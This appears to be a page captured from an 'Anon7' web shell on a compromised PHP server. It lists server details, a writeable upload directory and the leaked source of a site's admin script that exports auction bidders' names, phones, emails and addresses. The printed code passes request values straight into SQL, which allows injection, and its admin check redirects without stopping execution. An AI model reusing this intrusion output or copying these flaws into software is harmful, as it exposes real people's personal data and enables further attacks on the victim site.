KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/queenjbs/www/admin/auction_excel.html
<?include "$DOCUMENT_ROOT/conf/conf_dir.php";?>
<?
echo "";
if($sessionLevel !=15){
	echo "<script>alert('admin page');document.location='/admin/login.php';</script>";
}
?>
<?
$title_text = "JYJ_AUCTION";
					
// =============================================== Query
//$tableName = "notice";

if($key_word) {
		if($key == "username" || $key == "jname" || $key == "jname2" || $key == "nickname"){
			//$key_word = str_replace(" ","",$key_word);
			$where = "AND $key like '%".$key_word."%' ";
		}else{
			$key_word = str_replace(" ","",$key_word);
			$where = "AND UPPER(".$key.") like '%".strtoupper($key_word)."%' ";
		}
	}
	if($goods){
		$where .= "AND goodsuid ='$goods' ";
	}
$order_by = ' ORDER BY goodsuid asc ,price DESC';
$QUERY_PAGE  = "
SELECT * 
FROM 
AUCTION_EVENT 
where 1=1 $where $CoWhere $order_by";
					
$result= mysql_query($QUERY_PAGE,$db_con);
if(!$result) {
	error("DB_ERROR");
	exit;
}
				$total = mysql_affected_rows();

	header( "Content-type: application/vnd.ms-excel" );
	header( "Content-Disposition: attachment; filename = $title_text.xls" );
	header( "Content-Description: PHP4 Generated Data" );

?>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

  <TITLE>2013 JYJ AUCTION</TITLE>
</HEAD>
 <BODY>
					<table width="100%" cellspacing="0" cellpadding="0" border=0>
					<tr>
						<td>
							
							<table width="100%" cellspacing="0" cellpadding="0" border=1  align='center' class="table_ro">
								
								<tr>
									<th>No</th>
									<th>아이디</th>
									<th>이름</th>
									<th>핸드폰</th>
									<th>email</th>
									<th>상품</th>
									<th>가격</th>
									<!--th>상태</th-->
									<th>등록일</th>
									<th>zipcode</th>
									<th>주소</th>
									<!--th>삭제</th-->
								</tr>
								<?
									if(!$total){
										echo "<tr><td colspan='9' align=center  height='50px'>登録された情報がございません</td></tr>";
									}else{
										for($i=0; $i<$total; $i++) {
										$Num = $i+1;
										$row = mysql_fetch_array($result);
										$d_regis = substr($row[d_regis],0,10);
									
										switch($row[goodsuid]){
											case "1":
												$goodName = "ジェジュン 手の石膏";break;
											case "2":
												$goodName = "ユチョン 手の石膏";break;
											case "3":
												$goodName = "ジュンス 手の石膏";break;
											case "4":
												$goodName = "ジェジュン 石膏肖像";break;
											case "5":
												$goodName = "ユチョン 石膏肖像";break;
											case "6":
												$goodName = "ジュンス 石膏肖像";break;
											case "7":
												$goodName = "ジェジュン パステル肖像";break;
											case "8":
												$goodName = "ユチョン パステル肖像";break;
											case "9":
												$goodName = "ジュンス パステル肖像";break;
											case "10":
												$goodName = "ジェジュン マーブリング";break;
											case "11":
												$goodName = "ユチョン マーブリング";break;
											case "12":
												$goodName = "ジュンス マーブリング";break;
											case "13":
												$goodName = "JYJ テーブル";break;
											
										}
										if($row[auth_code] == '10'){
											$stateColor ="#FF0099";
										}else{
											$stateColor ="#ffffff";
										}
								?>
								<tr bgcolor="<?=$bgColor?>">
									<td><?=$Num?></td>
									<td><?=$row[member_id]?></td>
									<td><?=$row[o_name]?></td>
									<td><?=$row[o_tel]?></td>
									<td><?=$row[o_email]?></td>
									<td style="text-align:left;"><?=$goodName?>[<?=$row[goodsuid]?>]</td>
									<td style="text-align:right;"><?=number_format($row[price])?></td>
									<!--td><?=$row[orderstep]?></td-->
									<td style="text-align:right;"><?=$d_regis?></td>
									<td style="text-align:right;"><?=$row[o_zip]?></td>
									<td style="text-align:right;"><?=$row[o_addr]?></td>
									<!--td><a href="javascript:go_Delete('<?=$row[id]?>');"><img src="/admin/images/out.png"></a></td-->
								</tr>
								<?
									$Num--;
									}
								}
								?>
								
							</table>
							
						</td>
					</tr>
				</table>
 </BODY>
</HTML>


Anon7 - 2021